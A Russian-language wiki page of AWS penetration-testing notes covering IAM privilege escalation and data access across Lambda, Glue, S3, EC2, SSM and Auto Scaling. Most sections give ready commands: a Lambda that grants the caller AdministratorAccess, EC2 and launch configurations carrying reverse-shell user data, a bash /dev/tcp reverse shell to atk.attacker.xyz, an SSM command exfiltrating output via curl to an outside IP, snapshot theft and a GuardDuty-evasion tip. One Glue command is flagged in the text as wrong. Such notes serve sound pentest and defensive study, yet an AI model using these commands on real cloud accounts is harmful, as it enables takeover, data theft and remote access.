== STS (Security Token Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис, позволяющий запросить временные учетные данные с ограниченными  примилегиями для IAM-пользователей &lt;br /&gt;
&lt;br /&gt;
== KMS (Key Management Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.&lt;br /&gt;
&lt;br /&gt;
Администраторы амазона не смогут получить к ним доступ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ключи со временем обновляются:&lt;br /&gt;
&lt;br /&gt;
* Customers keys - раз в 365 дней&lt;br /&gt;
&lt;br /&gt;
* AWS keys - раз в 3 года.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Старые ключи также можно будет использовать для расшифровки.&lt;br /&gt;
&lt;br /&gt;
== CloudHSM (Hardware Security Module) ==&lt;br /&gt;
&lt;br /&gt;
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению. &lt;br /&gt;
&lt;br /&gt;
Пишут, что устройство будет закреплено только за вами.&lt;br /&gt;
&lt;br /&gt;
Также можно получить доступ к CloudHSM-Instance по SSH.&lt;br /&gt;
&lt;br /&gt;
== Athena ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.&lt;br /&gt;
&lt;br /&gt;
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.&lt;br /&gt;
&lt;br /&gt;
== EBS (Elastic Block Store) ==&lt;br /&gt;
&lt;br /&gt;
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление сервисом ===&lt;br /&gt;
 &lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание Volume из snapshot'а (если требуется подключить snapshot)&lt;br /&gt;
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone&lt;br /&gt;
# Подключение Volume к виртуалке EC2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Далее идем на виртуалку и вводим команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Поиск Volume&lt;br /&gt;
lsblk&lt;br /&gt;
# Проверка есть ли на нем данные&lt;br /&gt;
sudo file -s /dev/xvdf&lt;br /&gt;
# форматировать образ под ext4 (если неподходящая файловая система)&lt;br /&gt;
sudo mkfs -t ext4 /dev/xvdf&lt;br /&gt;
# Создаем директорию куда примонтируем позже&lt;br /&gt;
sudo mkdir /tmp/newvolume&lt;br /&gt;
# Монтируем&lt;br /&gt;
sudo mount /dev/xvdf /tmp/newvolume/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Диск будет доступен на /tmp/newvolume.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Lambda ==&lt;br /&gt;
&lt;br /&gt;
Сервис для запуска своего кода в облаке.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:UpdateFunctionCode ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.&lt;br /&gt;
&lt;br /&gt;
Код функции:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
import boto3&lt;br /&gt;
def lambda_handler(event, context):&lt;br /&gt;
    client = boto3.client('iam')&lt;br /&gt;
    response = client.attach_user_policy(&lt;br /&gt;
    UserName='my_username',&lt;br /&gt;
    PolicyArn=&amp;quot;arn:aws:iam::aws:policy/AdministratorAccess&amp;quot;&lt;br /&gt;
    )&lt;br /&gt;
    return response&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Команды для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание функции&lt;br /&gt;
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py&lt;br /&gt;
# Запуск&lt;br /&gt;
aws lambda invoke --function-name my_function output.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:GetFunction ====&lt;br /&gt;
&lt;br /&gt;
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.&lt;br /&gt;
&lt;br /&gt;
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получить список функций&lt;br /&gt;
aws lambda list-functions --profile uploadcreds&lt;br /&gt;
# Получить информацию о Lambda-функции&lt;br /&gt;
aws lambda get-function --function-name &amp;quot;LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY&amp;quot; --query 'Code.Location' --profile uploadcreds&lt;br /&gt;
# Скачать исходный код по ссылке из предыдущего ответа&lt;br /&gt;
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Glue ==&lt;br /&gt;
&lt;br /&gt;
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== glue:UpdateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# TODO: это не обновление параметров, надо обновить команду&lt;br /&gt;
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== glue:CreateDevEndpoint + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== S3 ==&lt;br /&gt;
&lt;br /&gt;
Файловое хранилище, доступное по http(s).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{bucket_name}.s3.amazonaws.com&lt;br /&gt;
https://s3.amazonaws.com/{bucket_name}/&lt;br /&gt;
&lt;br /&gt;
# US Standard&lt;br /&gt;
http://s3.amazonaws.com&lt;br /&gt;
# Ireland&lt;br /&gt;
http://s3-eu-west-1.amazonaws.com&lt;br /&gt;
# Northern California&lt;br /&gt;
http://s3-us-west-1.amazonaws.com&lt;br /&gt;
# Singapore&lt;br /&gt;
http://s3-ap-southeast-1.amazonaws.com&lt;br /&gt;
# Tokyo&lt;br /&gt;
http://s3-ap-northeast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Делать запросы можно:&lt;br /&gt;
&lt;br /&gt;
* В браузере - http(s)&lt;br /&gt;
&lt;br /&gt;
* Используя awscli:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В S3 может использоваться шифрование:&lt;br /&gt;
&lt;br /&gt;
* SSE-KMS - Server-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* SSE-C - Server-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
* CSE-KMS - Client-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* CSE-C - Client-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
=== Сбор информации ===&lt;br /&gt;
&lt;br /&gt;
==== Определение региона ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
$ dig flaws.cloud&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
flaws.cloud.    5    IN    A    52.218.192.11&lt;br /&gt;
&lt;br /&gt;
$ nslookup 52.218.192.11&lt;br /&gt;
Non-authoritative answer:&lt;br /&gt;
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# Итоговый URL будет:&lt;br /&gt;
flaws.cloud.s3-website-us-west-2.amazonaws.com&lt;br /&gt;
flaws.cloud.s3-us-west-2.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если будет некорректный регион - редиректнет на корректный.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Список файлов ====&lt;br /&gt;
&lt;br /&gt;
На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.&lt;br /&gt;
&lt;br /&gt;
Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== s3:ListBucket ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список файлов в S3-хранилище:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== s3:ListAllMyBuckets ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список всех S3-хранилищ, доступных мне:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3api list-buckets&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudFront ==&lt;br /&gt;
&lt;br /&gt;
Сервис сети доставки контента (CDN).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.cloudfront.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EC2 (Elastic Compute Cloud) ==&lt;br /&gt;
&lt;br /&gt;
EC2 (Amazon Elastic Compute Cloud) == VPS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Состоит из:&lt;br /&gt;
&lt;br /&gt;
* Instance - название виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* AMI (Amazon Machine Image) - образ виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
ec2-{ip-seperated}.compute-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSM Agent ===&lt;br /&gt;
&lt;br /&gt;
Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
Его тоже можно выбрать целью атаки&lt;br /&gt;
&lt;br /&gt;
==== MITM ====&lt;br /&gt;
&lt;br /&gt;
Есть возможность вклиниваться в общение от SSM-Агента локально.&lt;br /&gt;
&lt;br /&gt;
PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception&lt;br /&gt;
&lt;br /&gt;
Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== ec2:RunInstance + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
1. Запуск машины c новой прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
2. Подключение к ней&lt;br /&gt;
&lt;br /&gt;
3. Работа с прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
Создание EC2 с известным SSH-ключем:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - скрипт для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:AssociateIamInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
Позволяет менять IAM политики/роли/пользователей&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
См. EBS.&lt;br /&gt;
&lt;br /&gt;
==== ec2:DescribeSnapshots ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume ====&lt;br /&gt;
&lt;br /&gt;
Прзврояет примаунтить SnapShot, чтобы потом его изучить:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:* (Копирование EC2) ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скопировать EC2 используя AMI-images:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создаем новый AMI из Instance-ID&lt;br /&gt;
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name &amp;quot;AWS Audit&amp;quot; --description &amp;quot;Export AMI&amp;quot; --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Добавляем наш ключ в систему&lt;br /&gt;
aws ec2 import-key-pair --key-name &amp;quot;AWS Audit&amp;quot; --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) &lt;br /&gt;
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids &amp;quot;sg-6d0d7f01&amp;quot; --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name &amp;quot;AWS Audit&amp;quot; --query &amp;quot;Instances[0].InstanceId&amp;quot; --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# Проверяем запустился ли инстанс&lt;br /&gt;
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 &lt;br /&gt;
&lt;br /&gt;
# Не обязательно - редактируем группу инстанса&lt;br /&gt;
aws ec2 modify-instance-attribute --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --groups &amp;quot;sg-6d0d7f01&amp;quot;  --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# В конце работы - останавливаем и удаляем инстанс&lt;br /&gt;
aws ec2 stop-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1 &lt;br /&gt;
aws ec2 terminate-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSerialConsoleSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1&lt;br /&gt;
&lt;br /&gt;
# Подключаемся (кроме GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws&lt;br /&gt;
# Подключаемся (только для GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)&lt;br /&gt;
sudo systemctl restart serial-getty@ttyS0&lt;br /&gt;
# Если не сработало - мб требуется ребутать сервер.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html&lt;br /&gt;
&lt;br /&gt;
==== ssm:SendCommand ====&lt;br /&gt;
&lt;br /&gt;
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:&lt;br /&gt;
&lt;br /&gt;
* Знать Instance-ID, на котором запущен сервис SSM&lt;br /&gt;
&lt;br /&gt;
* Свой сервер, на который будет приходить отстук - результат команды.&lt;br /&gt;
&lt;br /&gt;
Команды для эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation&lt;br /&gt;
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  &lt;br /&gt;
# Выполняем команду&lt;br /&gt;
aws ssm send-command --instance-ids &amp;quot;INSTANCE-ID-HERE&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;IP Config&amp;quot; --parameters commands=ifconfig --output text --query &amp;quot;Command.CommandId&amp;quot; --profile stolencreds&lt;br /&gt;
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)&lt;br /&gt;
aws ssm list-command-invocations --command-id &amp;quot;COMMAND-ID-HERE&amp;quot; --details --query &amp;quot;CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}&amp;quot; --profile stolencreds&lt;br /&gt;
&lt;br /&gt;
# Пример - результат команды на удаленный сервер&lt;br /&gt;
$ aws ssm send-command --instance-ids &amp;quot;i-05b████████adaa&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;whoami&amp;quot; --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + Active Directory ====&lt;br /&gt;
&lt;br /&gt;
См. AD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Auto Scaling (autoscaling) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.&lt;br /&gt;
&lt;br /&gt;
Для работы сервиса требуется:&lt;br /&gt;
&lt;br /&gt;
1. Конфигурация запуска EC2.&lt;br /&gt;
&lt;br /&gt;
2. Конфигурация масштабирования.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Роли - повышение привилегий ==&lt;br /&gt;
&lt;br /&gt;
=== autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole ===&lt;br /&gt;
&lt;br /&gt;
Позволяет создать и запустить конфигурацию масштабирования. &lt;br /&gt;
&lt;br /&gt;
==== Создаем конфигурацию запуска EC2 ====&lt;br /&gt;
&lt;br /&gt;
Для создания требуется:&lt;br /&gt;
&lt;br /&gt;
1. Image-id&lt;br /&gt;
&lt;br /&gt;
2. iam-instance-profile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options &amp;quot;HttpEndpoint=enabled,HttpTokens=optional&amp;quot; --associate-public-ip-address --user-data=file://reverse-shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример содержимого reverse-shell.sh:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/atk.attacker.xyz/443 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Создаем и запускаем группу масштабируемости ====&lt;br /&gt;
&lt;br /&gt;
Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier &amp;quot;subnet-aaaabbb&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
